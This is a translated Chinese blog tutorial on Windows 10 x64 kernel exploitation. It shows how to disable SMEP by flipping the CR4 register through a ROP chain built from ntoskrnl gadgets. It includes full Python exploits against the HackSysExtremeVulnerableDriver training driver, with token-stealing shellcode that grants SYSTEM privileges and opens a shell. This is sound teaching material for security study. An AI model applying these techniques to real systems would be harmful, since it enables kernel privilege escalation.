Windows 10 x64上令牌窃取有效载荷问题,并绕过SMEP(下)
2020-03-25 09:56:14 Author: www.4hou.com(查看原文) 阅读量:430 收藏

Windows 10 x64上令牌窃取有效载荷问题,并绕过SMEP(上)

SMEP

23.png

什么是SMEP? SMEP或Supervisor模式执行保护是最早在Windows 8(在Windows上下文中)中实现的保护。当我们谈论为内核漏洞利用执行代码时,最常见的技术是在用户模式下分配shellcode并从内核调用它。这意味着将在内核上下文中调用用户模式代码,从而为我们提供获得系统特权的适用权限。

SMEP是一种预防措施,不允许我们从环0开始执行存储在环3页面中的代码,通常从更高的环执行代码。这意味着我们无法从内核模式执行用户模式代码。为了绕过SMEP,让我们了解其实现方式。

SMEP策略通过CR4寄存器执行,根据英特尔的说法,CR4寄存器是控制寄存器。该寄存器中的每一位负责在系统上启用的各种功能。 CR4寄存器的第20位负责启用SMEP,如果CR4寄存器的第20位被设置为1,那么就启用了SMEP。当位被设置为0时,SMEP被禁用。让我们来看看Windows上的CR4寄存器,其中SMEP以正常的十六进制格式和二进制格式启用,因此我们可以真正看到第20位的位置。

r cr4

24.png

CR4寄存器的十六进制值为0x00000000001506f8,让我们以二进制形式查看它,以便我们可以看到第20位在哪里。

.formats cr4

25.png

如你所见,第20位在上图中(从右数起) 。让我们再次使用.formats命令来查看CR4寄存器中的值是什么,以便绕过SMEP。

26.png

从上面的图中可以看出,当CR4寄存器的第20位被翻转时,十六进制的值是0x00000000000506f8。

在介绍如何使用上述信息通过ROP绕过SMEP之前,让我们进一步讨论一下SMEP实现和其他潜在绕过的问题。

SMEP还可以通过内存页的页表条目(PTE)以“标志”的形式实现,回想一下,页表包含有关物理内存映射到虚拟内存的信息。内存页的PTE具有与之关联的各种标志,其中两个标志是U,表示用户模式,或者S,表示管理模式(内核模式)。当所述内存被内存管理单元(MMU)访问时,将检查此标志。在继续之前,让我们先讨论一下CPU模式。环3负责用户模式的应用程序代码,环0负责操作系统级代码(内核模式)。CPU可以根据执行的内容转换当前的特权级别(CPL)。不过,我不会深入讨论在CPU更改CPL时发生的syscalls、sysrets或其他各种例程的底层细节。另外这也不是一篇关于分页如何工作的内容,如果你有兴趣了解更多信息,我强烈建议你阅读Enrico Martignetti的《What Makes It Page: the Windows 7 (x64) Virtual Memory Manager》一书。虽然这是有关Windows 7环境的,但我相信这些概念在今天仍然适用。我给出这个背景信息,因为SMEP绕过可能会滥用这个功能。

为什么提起这个?尽管我们将介绍如何通过ROP进行SMEP绕过,但还有另一种情况需要考虑。假设我们有一个任意的读写原语。撇开PTE暂时随机的事实。如果你有一个读取原语来了解Shellcode内存页的PTE在哪里,该怎么办?绕过SMEP的另一种潜在的方法是不禁用SMEP。我们可能会使用读取原语来定位用户模式的shellcode页面,然后使用写入原语来覆盖我们的shellcode的PTE,并将U(用户模式)标志翻转为S(主管模式)标志!这样,尽管该特定地址是“用户模式地址”,但在执行该特定地址时,由于该页面的权限现在是内核模式页面的权限,因此它仍被执行。

虽然页面表条目现在是随机的,但是来自进攻性安全组织的Morten Schenk在这篇文章中谈到了对页表项进行非随机化处理。

简单来说,其步骤如下:

1. 获得读/写原始;

2. 泄漏ntoskrnl.exe(内核基);

3. 定位MiGetPteAddress()(可以动态完成,而不是静态偏移);

4. 使用PTE base获取任何内存页的PTE;

5. 更改位(是否正在将shellcode复制到页面并翻转NX位或翻转用户模式页面的U/S位)。

同样,在我对Windows中的内存分页做了更多的研究之前,我不会讨论这种绕过SMEP的方法。有关我对今后其他SMEP绕过技术的想法,请参阅此文的结尾。

绕过SMEP

让我们使用一个溢出来介绍如何用ROP绕过SMEP,ROP假设我们可以控制堆栈(当每个ROP小工具返回到堆栈时)。由于启用了SMEP,我们的ROP小工具将需要来自内核模式页面。因为我们在这里假设了中等完整性,所以我们可以调用EnumDeviceDrivers()来获得内核基,它可以绕过KASLR。

基本上,以下就是ROP链是工作的整个过程。

27.png

让我们去寻找这些ROP小工具吧,注意,ROP小工具的所有偏移量将根据操作系统、补丁级别等而变化。请记住,这些ROP小工具需要是内核模式地址。我们将使用rp++枚举ntoskrnl.exe中的rop小工具。如果你看一下我关于ROP的文章,你就会知道如何使用这个工具。

让我们找出一种方法来控制CR4寄存器的内容,虽然我们可能无法直接操作寄存器的内容,但是我们可以将可以控制的寄存器的内容移动到CR4寄存器中。回想一下pop < reg >操作将获取堆栈上下一项的内容,并将其存储在pop行动。让我们记住这一点。

使用rp ++,我们在ntoskrnl.exe中找到了一个不错的ROP小工具,它使我们可以将CR4的内容存储在ecx寄存器(RCX寄存器的“第二” 32位)中。

28.png

如你所见,此ROP小工具位于0x140108552。但是,由于这是内核模式地址,因此rp ++(来自usermode且未以管理员身份运行)不会提供此地址的完整地址。但是,如果删除前3个字节,则“地址”的其余部分实际上是相对于内核库的偏移量,这意味着该ROP小工具位于ntoskrnl.exe + 0x108552。

29.png

太棒了! rp ++的枚举有点错误,rp ++表示我们可以将ECX放入CR4寄存器。但是,经过进一步检查,我们可以看到该ROP小工具实际上指向了mov cr4, rcx指令。这对于我们的用例来说是完美的!我们有一种方法可以将RCX寄存器的内容移动到CR4寄存器中。你可能会问:“好吧,我们可以通过RCX寄存器控制CR4寄存器,但是这对我们有什么帮助呢?”回想一下我之前的文章中ROP的一个特性。只要我们有一个不错的ROP小工具,可以执行所需的操作,但是该小工具中出现不必要的弹出声,我们就使用NOP的填充数据,这是因为我们只是简单地将数据放置在寄存器中而没有执行它。

同样的原则在这里适用,如果我们可以将预期的标志值弹出到RCX中,则应该没有问题。如前所述,我们预期的CR4寄存器值应为0x506f8。

假设rp ++是对的,因为我们只能控制ECX寄存器而不是RCX的内容,这会影响我们吗?但是,请回想一下寄存器如何在这里工作。

30.png

这意味着,即使RCX包含0x00000000000506f8,一个mov cr4, ecx将采取较低的32位的RCX(即ecx),并把它放入cr4寄存器。这将意味着ECX等于0x000506f8-,并且该值最终会出现在CR4中。因此,即使理论上我们会同时使用RCX和ECX,由于缺少pop ecx ROP小工具,我们也不会受到影响!

现在,让我们继续控制RCX寄存器,让我们找到一个流行的rcx小工具!

31.png

好了!我们在ntoskrnl.exe + 0x3544处有一个ROP小工具。让我们用用户模式shellcode所在的一些断点来更新我们的POC,以验证我们是否可以使用我们的shellcode。这个POC处理语义,例如查找要覆盖的ret指令的偏移量等等。

import struct
import sys
import os
from ctypes import *
 
kernel32 = windll.kernel32
ntdll = windll.ntdll
psapi = windll.Psapi
 
 
payload = bytearray(
    "\xCC" * 50
)
 
# Defeating DEP with VirtualAlloc. Creating RWX memory, and copying our shellcode in that region.
# We also need to bypass SMEP before calling this shellcode
print "[+] Allocating RWX region for shellcode"
ptr = kernel32.VirtualAlloc(
    c_int(0),                         # lpAddress
    c_int(len(payload)),              # dwSize
    c_int(0x3000),                    # flAllocationType
    c_int(0x40)                       # flProtect
)
 
# Creates a ctype variant of the payload (from_buffer)
c_type_buffer = (c_char * len(payload)).from_buffer(payload)
 
print "[+] Copying shellcode to newly allocated RWX region"
kernel32.RtlMoveMemory(
    c_int(ptr),                       # Destination (pointer)
    c_type_buffer,                    # Source (pointer)
    c_int(len(payload))               # Length
)
 
# Need kernel leak to bypass KASLR
# Using Windows API to enumerate base addresses
# We need kernel mode ROP gadgets
 
# c_ulonglong because of x64 size (unsigned __int64)
base = (c_ulonglong * 1024)()
 
print "[+] Calling EnumDeviceDrivers()..."
 
get_drivers = psapi.EnumDeviceDrivers(
    byref(base),                      # lpImageBase (array that receives list of addresses)
    sizeof(base),                     # cb (size of lpImageBase array, in bytes)
    byref(c_long())                   # lpcbNeeded (bytes returned in the array)
)
 
# Error handling if function fails
if not base:
    print "[+] EnumDeviceDrivers() function call failed!"
    sys.exit(-1)
 
# The first entry in the array with device drivers is ntoskrnl base address
kernel_address = base[0]
 
print "[+] Found kernel leak!"
print "[+] ntoskrnl.exe base address: {0}".format(hex(kernel_address))
 
# Offset to ret overwrite
input_buffer = "\x41" * 2056
 
# SMEP says goodbye
print "[+] Starting ROP chain. Goodbye SMEP..."
input_buffer += struct.pack('<Q', kernel_address + 0x3544)      # pop rcx; ret
 
print "[+] Flipped SMEP bit to 0 in RCX..."
input_buffer += struct.pack('<Q', 0x506f8)                    # Intended CR4 value
 
print "[+] Placed disabled SMEP value in CR4..."
input_buffer += struct.pack('<Q', kernel_address + 0x108552)    # mov cr4, rcx ; ret
 
print "[+] SMEP disabled!"
input_buffer += struct.pack('<Q', ptr)                          # Location of user mode shellcode
 
input_buffer_length = len(input_buffer)
 
# 0x222003 = IOCTL code that will jump to TriggerStackOverflow() function
# Getting handle to driver to return to DeviceIoControl() function
print "[+] Using CreateFileA() to obtain and return handle referencing the driver..."
handle = kernel32.CreateFileA(
    "\\\\.\\HackSysExtremeVulnerableDriver", # lpFileName
    0xC0000000,                         # dwDesiredAccess
    0,                                  # dwShareMode
    None,                               # lpSecurityAttributes
    0x3,                                # dwCreationDisposition
    0,                                  # dwFlagsAndAttributes
    None                                # hTemplateFile
)
 
# 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
print "[+] Interacting with the driver..."
kernel32.DeviceIoControl(
    handle,                             # hDevice
    0x222003,                           # dwIoControlCode
    input_buffer,                       # lpInBuffer
    input_buffer_length,                # nInBufferSize
    None,                               # lpOutBuffer
    0,                                  # nOutBufferSize
    byref(c_ulong()),                   # lpBytesReturned
    None                                # lpOverlapped
)

现在,让我们来看看WinDbg。

正如你所看到的,我们已经找到了要覆盖的目标。

33.png

在逐步执行之前,让我们先查看调用堆栈,以查看执行将如何进行。

k

34.png

如果你在查看上面的图像时遇到了问题,请在一个新选项卡中打开它。

为了更好地理解调用堆栈的输出,列调用站点将是执行的内存地址。RetAddr列是调用站点地址完成后返回到的位置。

可以看到,被破坏的ret位于HEVD!TriggerStackOverflow+0xc8。这时,我们将返回到0xfffff80302c82544,或AuthzBasepRemoveSecurityAttributeValueFromLists+0x70。RetAddr列中的下一个值是CR4寄存器的预期值,即0x00000000000506f8。

回想一下,ret指令会将RSP加载到RIP中。因此,由于我们预期的CR4值位于堆栈上,所以从技术上讲,我们的第一个ROP小工具将“返回”到0x00000000000506f8。然而,pop rcx将从堆栈中取出该值并将其放入rcx中。这意味着我们不必担心返回到那个值,它不是有效的内存地址。

在pop rcx ROP小工具的ret之后,我们将跳到下一个ROP小工具,mov cr4, rcx,它将把rcx加载到cr4。这个ROP小工具位于0xfffff80302d87552,或者KiFlushCurrentTbWorker+0x12。最后,我们将用户模式代码放在0x0000000000b70000。

在完成易受攻击的ret指令之后,我们看到我们找到的第一个ROP小工具。

35.png

此时,预期的CR4值会插入到RCX中。

36.png

此时,我们应该会看到下一个ROP小工具,它将把RCX(禁用SMEP所需的值)移动到CR4中。

374.png

此时,我们就可以禁用SMEP了!

38.png

正如你所看到的,在我们的ROP小工具被执行之后,我们触发了断点(shellcode的占位符,以验证SMEP已禁用)!

39.png

这意味着我们已经成功地禁用了SMEP,并且我们可以执行usermode shellcode! 让我们通过有效的POC最终确定此漏洞利用。现在,我们将合并有效载荷概念和漏洞利用!让我们用武器化的Shellcode更新脚本!

import struct
import sys
import os
from ctypes import *
 
kernel32 = windll.kernel32
ntdll = windll.ntdll
psapi = windll.Psapi
 
 
payload = bytearray(
    "\x65\x48\x8B\x04\x25\x88\x01\x00\x00"              # mov rax,[gs:0x188]  ; Current thread (KTHREAD)
    "\x48\x8B\x80\xB8\x00\x00\x00"                      # mov rax,[rax+0xb8]  ; Current process (EPROCESS)
    "\x48\x89\xC3"                                      # mov rbx,rax         ; Copy current process to rbx
    "\x48\x8B\x9B\xE8\x02\x00\x00"                      # mov rbx,[rbx+0x2e8] ; ActiveProcessLinks
    "\x48\x81\xEB\xE8\x02\x00\x00"                      # sub rbx,0x2e8       ; Go back to current process
    "\x48\x8B\x8B\xE0\x02\x00\x00"                      # mov rcx,[rbx+0x2e0] ; UniqueProcessId (PID)
    "\x48\x83\xF9\x04"                                  # cmp rcx,byte +0x4   ; Compare PID to SYSTEM PID
    "\x75\xE5"                                          # jnz 0x13            ; Loop until SYSTEM PID is found
    "\x48\x8B\x8B\x58\x03\x00\x00"                      # mov rcx,[rbx+0x358] ; SYSTEM token is @ offset _EPROCESS + 0x348
    "\x80\xE1\xF0"                                      # and cl, 0xf0        ; Clear out _EX_FAST_REF RefCnt
    "\x48\x89\x88\x58\x03\x00\x00"                      # mov [rax+0x358],rcx ; Copy SYSTEM token to current process
    "\x48\x83\xC4\x40"                                  # add rsp, 0x40       ; RESTORE (Specific to HEVD)
    "\xC3"                                              # ret                 ; Done!
)
 
# Defeating DEP with VirtualAlloc. Creating RWX memory, and copying our shellcode in that region.
# We also need to bypass SMEP before calling this shellcode
print "[+] Allocating RWX region for shellcode"
ptr = kernel32.VirtualAlloc(
    c_int(0),                         # lpAddress
    c_int(len(payload)),              # dwSize
    c_int(0x3000),                    # flAllocationType
    c_int(0x40)                       # flProtect
)
 
# Creates a ctype variant of the payload (from_buffer)
c_type_buffer = (c_char * len(payload)).from_buffer(payload)
 
print "[+] Copying shellcode to newly allocated RWX region"
kernel32.RtlMoveMemory(
    c_int(ptr),                       # Destination (pointer)
    c_type_buffer,                    # Source (pointer)
    c_int(len(payload))               # Length
)
 
# Need kernel leak to bypass KASLR
# Using Windows API to enumerate base addresses
# We need kernel mode ROP gadgets
 
# c_ulonglong because of x64 size (unsigned __int64)
base = (c_ulonglong * 1024)()
 
print "[+] Calling EnumDeviceDrivers()..."
 
get_drivers = psapi.EnumDeviceDrivers(
    byref(base),                      # lpImageBase (array that receives list of addresses)
    sizeof(base),                     # cb (size of lpImageBase array, in bytes)
    byref(c_long())                   # lpcbNeeded (bytes returned in the array)
)
 
# Error handling if function fails
if not base:
    print "[+] EnumDeviceDrivers() function call failed!"
    sys.exit(-1)
 
# The first entry in the array with device drivers is ntoskrnl base address
kernel_address = base[0]
 
print "[+] Found kernel leak!"
print "[+] ntoskrnl.exe base address: {0}".format(hex(kernel_address))
 
# Offset to ret overwrite
input_buffer = ("\x41" * 2056)
 
# SMEP says goodbye
print "[+] Starting ROP chain. Goodbye SMEP..."
input_buffer += struct.pack('<Q', kernel_address + 0x3544)      # pop rcx; ret
 
print "[+] Flipped SMEP bit to 0 in RCX..."
input_buffer += struct.pack('<Q', 0x506f8)                            # Intended CR4 value
 
print "[+] Placed disabled SMEP value in CR4..."
input_buffer += struct.pack('<Q', kernel_address + 0x108552)    # mov cr4, rcx ; ret
 
print "[+] SMEP disabled!"
input_buffer += struct.pack('<Q', ptr)                          # Location of user mode shellcode
 
input_buffer_length = len(input_buffer)
 
# 0x222003 = IOCTL code that will jump to TriggerStackOverflow() function
# Getting handle to driver to return to DeviceIoControl() function
print "[+] Using CreateFileA() to obtain and return handle referencing the driver..."
handle = kernel32.CreateFileA(
    "\\\\.\\HackSysExtremeVulnerableDriver", # lpFileName
    0xC0000000,                         # dwDesiredAccess
    0,                                  # dwShareMode
    None,                               # lpSecurityAttributes
    0x3,                                # dwCreationDisposition
    0,                                  # dwFlagsAndAttributes
    None                                # hTemplateFile
)
 
# 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
print "[+] Interacting with the driver..."
kernel32.DeviceIoControl(
    handle,                             # hDevice
    0x222003,                           # dwIoControlCode
    input_buffer,                       # lpInBuffer
    input_buffer_length,                # nInBufferSize
    None,                               # lpOutBuffer
    0,                                  # nOutBufferSize
    byref(c_ulong()),                   # lpBytesReturned
    None                                # lpOverlapped
)
 
os.system("cmd.exe /k cd C:\\")

从上面可以看到,此shellcode将0x40添加到RSP。这是特定于我正在利用的进程,以恢复执行。在本例中,RAX已经被设置为0。因此,不需要对rax, rax进行异或。

如你所见,SMEP已被绕过了!

41.png

通过PTE覆盖进行SMEP绕过

未来如果有时间,我们将对Windows中的内存管理器单元和内存分页进行更多研究。研究结束后,我将介绍覆盖页表条目的底层详细信息,以将用户模式页转换为内核模式页。此外,我将在内核模式下对池内存进行更多的研究,并研究池溢出和释放后使用内核利用程序的功能和行为。

本文翻译自:https://connormcgarr.github.io/x64-Kernel-Shellcode-Revisited-and-SMEP-Bypass/如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/4YAV
如有侵权请联系:admin#unsafe.sh